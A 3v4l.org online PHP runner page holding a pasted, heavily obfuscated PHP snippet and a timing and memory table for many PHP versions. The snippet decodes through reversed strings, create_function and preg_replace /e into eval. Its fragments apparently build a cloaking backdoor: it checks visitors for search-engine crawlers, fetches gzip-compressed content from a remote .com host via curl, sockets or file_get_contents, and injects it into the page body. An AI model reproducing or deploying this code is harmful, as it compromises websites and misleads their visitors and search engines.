3v4l.org

run code in 300+ PHP versions simultaneously
<?php $siv = "str_replace"; $slv = "strrev"; $s1v ="create_function"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $s99 = 'Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}'; $ee1 = array('\14',', $',') { ','[$i]','substr($','a = $xx("|","',',strpos($y,"9")',' = str_replace($','x3','\x7','\15',';$i++) {','function ','x6','); ','for($i=0;$i<sizeof($','); } create_function("", "};".$',' = explode("'); $lastest = preg_replace("/(.*)/e", eval(str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99)), NULL); var_dump($lastest);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00016.63
8.3.50.0140.00521.16
8.3.40.0070.00718.84
8.3.30.0070.01118.96
8.3.20.0000.00820.38
8.3.10.0060.00323.41
8.3.00.0030.00519.56
8.2.180.0150.00017.00
8.2.170.0000.01422.96
8.2.160.0100.01020.52
8.2.150.0050.00324.18
8.2.140.0070.00724.66
8.2.130.0060.00326.16
8.2.120.0040.00417.72
8.2.110.0060.00322.09
8.2.100.0080.00419.48
8.2.90.0040.00419.30
8.2.80.0040.00417.97
8.2.70.0040.00417.75
8.2.60.0040.00418.05
8.2.50.0040.00418.07
8.2.40.0080.00019.24
8.2.30.0030.00519.73
8.2.20.0000.00817.77
8.2.10.0050.00318.25
8.2.00.0000.00818.20
8.1.280.0110.00725.92
8.1.270.0140.00420.30
8.1.260.0080.00026.35
8.1.250.0080.00028.09
8.1.240.0070.00322.65
8.1.230.0120.00017.61
8.1.220.0040.00417.77
8.1.210.0080.00018.77
8.1.200.0070.00317.60
8.1.190.0080.00017.11
8.1.180.0000.00918.10
8.1.170.0030.00618.71
8.1.160.0070.00022.01
8.1.150.0040.00418.87
8.1.140.0040.00417.45
8.1.130.0030.00517.78
8.1.120.0050.00317.48
8.1.110.0000.01117.41
8.1.100.0040.00417.56
8.1.90.0000.00817.54
8.1.80.0000.00817.53
8.1.70.0030.00317.39
8.1.60.0000.00917.66
8.1.50.0000.00817.50
8.1.40.0030.00517.57
8.1.30.0040.00417.76
8.1.20.0000.00817.70
8.1.10.0040.00417.58
8.1.00.0030.00517.51
8.0.300.0000.00818.84
8.0.290.0040.00416.88
8.0.280.0000.00818.52
8.0.270.0000.00717.34
8.0.260.0000.00717.35
8.0.250.0000.00717.00
8.0.240.0070.00017.07
8.0.230.0060.00317.15
8.0.220.0030.00317.00
8.0.210.0040.00416.92
8.0.200.0030.00317.02
8.0.190.0080.00317.13
8.0.180.0000.00817.09
8.0.170.0030.00516.93
8.0.160.0040.00417.03
8.0.150.0050.00216.98
8.0.140.0040.00417.01
8.0.130.0030.00313.46
8.0.120.0080.00017.02
8.0.110.0030.00517.00
8.0.100.0050.00317.14
8.0.90.0040.00416.90
8.0.80.0130.00617.08
8.0.70.0000.00716.87
8.0.60.0040.00416.99
8.0.50.0000.00816.90
8.0.30.0050.01417.14
8.0.20.0130.00917.41
8.0.10.0000.00717.02
8.0.00.0090.00816.93
7.4.330.0060.00015.13
7.4.320.0030.00516.95
7.4.300.0030.00316.84
7.4.290.0000.00816.88
7.4.280.0040.00416.78
7.4.270.0040.00416.92
7.4.260.0000.00816.86
7.4.250.0080.00016.91
7.4.240.0030.00516.92
7.4.230.0040.00417.09
7.4.220.0190.00017.00
7.4.210.0090.00616.99
7.4.200.0080.00016.86
7.4.160.0070.01116.68
7.4.150.0120.00917.40
7.4.140.0120.00817.86
7.4.130.0080.01316.86
7.4.120.0130.00516.86
7.4.110.0190.00016.85
7.4.100.0160.00316.85
7.4.90.0060.01316.95
7.4.80.0120.00619.39
7.4.70.0180.00017.04
7.4.60.0130.00717.01
7.4.50.0030.00616.82
7.4.40.0180.00617.06
7.4.30.0100.01016.91
7.4.00.0000.01315.22
7.3.330.0000.00713.75
7.3.320.0000.00613.65
7.3.310.0030.00516.64
7.3.300.0050.00316.61
7.3.290.0090.00916.71
7.3.280.0100.00616.75
7.3.270.0170.00717.40
7.3.260.0030.01617.07
7.3.250.0140.00416.92
7.3.240.0090.01616.77
7.3.230.0120.00916.85
7.3.210.0180.00016.94
7.3.200.0110.01216.87
7.3.190.0100.00716.81
7.3.180.0130.00316.69
7.3.170.0070.01116.82
7.3.160.0000.01717.01
7.3.10.0080.00616.85
7.3.00.0100.00416.97
7.2.330.0090.00917.02
7.2.320.0060.01317.02
7.2.310.0070.01017.09
7.2.300.0030.01417.01
7.2.290.0200.00017.02
7.2.130.0070.00617.19
7.2.120.0020.01217.05
7.2.110.0080.00917.25
7.2.100.0050.00717.13
7.2.90.0030.00917.03
7.2.80.0080.00817.29
7.2.70.0100.00517.15
7.2.60.0070.00717.05
7.2.50.0100.00517.17
7.2.40.0050.00817.14
7.2.30.0020.01417.20
7.2.20.0060.01017.07
7.2.10.0070.00716.97
7.2.00.0090.00818.05
7.1.250.0070.00315.98
7.1.200.0060.00616.11
7.1.100.0040.00818.21
7.1.70.0000.01317.27
7.1.60.0130.01019.27
7.1.50.0040.02217.34
7.1.00.0000.08022.55
7.0.200.0090.00916.98
7.0.100.0100.08020.14
7.0.90.0100.04020.04
7.0.80.0170.08020.00
7.0.70.0100.09020.06
7.0.60.0170.07020.07
7.0.50.0130.07320.39
7.0.40.0070.07720.12
7.0.30.0170.05320.08
7.0.20.0070.03720.11
7.0.10.0100.08320.18
7.0.00.0270.05720.17
5.6.280.0000.04321.23
5.6.250.0130.07720.74
5.6.240.0230.07020.72
5.6.230.0070.05320.65
5.6.220.0230.06720.75
5.6.210.0070.04020.72
5.6.200.0070.08321.14
5.6.190.0030.09321.09
5.6.180.0100.03321.20
5.6.170.0070.08321.04
5.6.160.0100.03321.19
5.6.150.0070.06721.02
5.6.140.0100.08021.21
5.6.130.0130.06021.18
5.6.120.0100.08321.13
5.6.110.0030.04321.01
5.6.100.0170.08721.11
5.6.90.0030.08721.08
5.6.80.0030.08020.57
5.6.70.0070.05320.48
5.6.60.0070.05020.39
5.6.50.0030.05320.55
5.6.40.0070.08020.46
5.6.30.0030.08720.48
5.6.20.0070.08020.52
5.6.10.0100.07320.43
5.6.00.0070.08020.50
5.5.380.0070.04720.42
5.5.370.0130.07320.47
5.5.360.0100.08020.48
5.5.350.0100.07320.42
5.5.340.0030.04020.98
5.5.330.0100.07720.73
5.5.320.0100.08020.97
5.5.310.0070.08020.87
5.5.300.0170.02720.88
5.5.290.0130.07721.00
5.5.280.0170.07720.87
5.5.270.0070.08020.93
5.5.260.0070.08720.98
5.5.250.0070.09020.63
5.5.240.0070.08320.23
5.5.230.0070.06020.32
5.5.220.0100.08020.21
5.5.210.0070.07320.19
5.5.200.0030.06020.32
5.5.190.0070.08020.19
5.5.180.0130.04320.07
5.5.160.0000.05320.25
5.5.150.0100.07720.34
5.5.140.0200.06720.16
5.5.130.0100.04320.29
5.5.120.0070.07020.34
5.5.110.0070.07320.26
5.5.100.0170.06320.15
5.5.90.0070.05320.18
5.5.80.0070.04020.09
5.5.70.0000.05320.24
5.5.60.0030.07320.14
5.5.50.0100.07020.16
5.5.40.0100.06720.17
5.5.30.0000.08720.07
5.5.20.0070.06020.17
5.5.10.0030.07720.05
5.5.00.0070.07720.05
5.4.450.0100.07719.23
5.4.440.0030.03719.38
5.4.430.0100.06719.22
5.4.420.0200.07019.55
5.4.410.0170.06719.25
5.4.400.0100.06319.16
5.4.390.0030.08019.16
5.4.380.0030.08018.90
5.4.370.0130.07318.90
5.4.360.0030.07018.87
5.4.350.0000.05019.06
5.4.340.0170.07019.05
5.4.320.0100.07719.21
5.4.310.0000.05018.93
5.4.300.0070.07719.05
5.4.290.0030.07019.07
5.4.280.0170.07019.16
5.4.270.0030.07719.11
5.4.260.0130.06319.11
5.4.250.0030.08018.94
5.4.240.0100.05719.25
5.4.230.0030.07319.16
5.4.220.0030.07318.92
5.4.210.0130.06719.14
5.4.200.0070.07719.23
5.4.190.0100.04019.26
5.4.180.0100.07019.04
5.4.170.0000.04719.25
5.4.160.0030.04019.21
5.4.150.0030.04019.09
5.4.140.0030.07016.51
5.4.130.0070.06016.48
5.4.120.0030.07716.41
5.4.110.0000.04016.46
5.4.100.0130.02316.46
5.4.90.0100.07016.40
5.4.80.0070.07716.56
5.4.70.0070.03016.54
5.4.60.0100.06716.54
5.4.50.0100.06316.40
5.4.40.0030.07316.39
5.4.30.0100.07316.44
5.4.20.0130.06316.53
5.4.10.0030.07016.54
5.4.00.0070.07315.86

preferences:
56.38 ms | 401 KiB | 5 Q